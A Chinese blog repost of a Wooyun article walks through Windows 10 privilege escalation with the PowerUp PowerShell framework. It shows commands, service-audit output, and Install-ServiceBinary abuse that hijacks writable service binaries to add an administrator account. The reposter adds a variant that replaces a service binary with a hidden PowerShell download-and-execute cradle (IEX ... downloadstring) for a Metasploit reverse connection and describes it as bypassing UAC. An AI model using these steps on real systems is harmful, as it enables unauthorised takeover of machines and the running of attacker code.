关闭

PowerShell 另类提权,win10测试通过,已绕过UAC!

标签: powershellwin10过UAC绕过UAC提权另类提权win10提权
4192人阅读 评论(0) 收藏 举报
分类:

在乌云上看了一篇关于”非常规提权”的做法,试了一下,效果不错.装载过来,顺便加上自己的代码段.

简洁点写,省去大部分,需要阅读原文的请去:http://drops.wooyun.org/tips/11989


0x00 简介


通常,在Windows下面我们可以通过内核漏洞来提升权限,但是,我们常常会碰到所处服务器通过内核漏洞提权是行不通的,这个时候,我们就需要通过脆弱的Windows服务提权,比如我们替换掉服务所依赖的DLL文件,当服务重启时,加载我们替换的DLL文件从而完成比如添加管理员账号的操作。或者通过常见的Mssql,Mysql等服务,通过其继承的系统权限来完成提权等等,而今天我将介绍一个非常实用的Powershell框架-Powerup,此框架可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。


要使用Powerup,首先需要下载此脚本:Powerup,之后加载此脚本:

E:> powershell.exe -nop -exec bypass
PS E:\> Import-Module .\PowerUp.psm1

加载完成以后,便可以使用Powerup中的所有模块了。

通过如下命令可以查看所有模块:

PS E:\> Get-Command -Module powerup

看到这个样子就成功了.

成功界面


0x02 实战提权

(我们直接跳到精彩的这里)

测试环境为win10。平常用的虚拟机,并没有特意去配置存在漏洞的环境,所以并不是所有的模块均可以使用。实际测试可以根据实际环境来调整。此次测试并未使用内核漏洞来提权。

首先添加低权限测试账号,使用管理员身份运行cmd,添加测试账号:

C:\Windows\system32>net user powerup 1 /add

查看用户权限

执行Invoke-AllChecks:

Invoke-AllChecks

执行以后找到下列问题:

[*] Checking for unquoted service paths...


ServiceName   : CDROM_Detect
Path          : C:\Program Files\4G USB Modem\4G_Eject.exe
StartName     : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'CDROM_Detect' -Path <HijackPath>

ServiceName   : hMailServer
Path          : C:\Program Files (x86)\hMailServer\Bin\hMailServer.exe RunAsService
StartName     : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'hMailServer' -Path <HijackPath>

[*] Checking service executable and argument permissions...

ServiceName    : wampapache
Path           : "c:\wamp\bin\apache\apache2.2.17\bin\httpd.exe" -k runservice
ModifiableFile : c:\wamp\bin\apache\apache2.2.17\bin\httpd.exe
StartName      : LocalSystem
AbuseFunction  : Install-ServiceBinary -ServiceName 'wampapache'

ServiceName    : wampmysqld
Path           : c:\wamp\bin\mysql\mysql5.5.8\bin\mysqld.exe wampmysqld
ModifiableFile : c:\wamp\bin\mysql\mysql5.5.8\bin\mysqld.exe
StartName      : LocalSystem
AbuseFunction  : Install-ServiceBinary -ServiceName 'wampmysqld'

可以看出,Powerup列出了可能存在问题的服务,并在AbuseFunction中给了接下来的利用方式。在上面两个利用点可以看出,unquoted service paths中给出了两个路径带空格的文件路径,但是因为其在c盘,没有权限,所以并不能被我们利用来提权。而第二个检查通过Get-ServiceFilePermission找到两个当前用户可以写入相关联可执行文件的路径,我们就可以通过这个来进行提权。在AbuseFunction那里已经给了我们操作方式,接下来我们执行如下操作:

PS E:\> Install-ServiceBinary -ServiceName 'wampapache' -UserName rockyou -Password 123

之后当管理员运行该服务的时候,则会添加我们的账号

这里写图片描述


我自己测试发现了”metasploitPostgreSQL” 这个可以被利用。然后改了下上面代码中的服务名,然后测试成功.我测试是反弹msf代码

Install-ServiceBinary -ServiceName 'metasploitPostgreSQL' -Command "powershell.exe -nop -w hidden -c `"IEX ((new-object net.webclient).downloadstring('code_address'))`""
Restore-ServiceBinary -ServiceName 'metasploitPostgreSQL'

然后就成功的上线了,还是绕过了UAC的.屌屌的…

对了,用完就得还原服务哦

Restore-ServiceBinary -ServiceName 'wampapache'

0x03 小结

(我们又跳到小结)

Powerup提供了一些我们并不常见的提权方式,并且为我们的Windows提权提供了极大的方便,如果碰到未安装Powershell的计算机,可以详细参考Powerup里面的函数实现过程来通过别的方式来实现同样的效果,希望本文对你有帮助。

本文由evi1cg原创并首发于乌云drops,转载请注明

0
0

查看评论
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
    个人资料
    • 访问:22264次
    • 积分:251
    • 等级:
    • 排名:千里之外
    • 原创:7篇
    • 转载:3篇
    • 译文:0篇
    • 评论:0条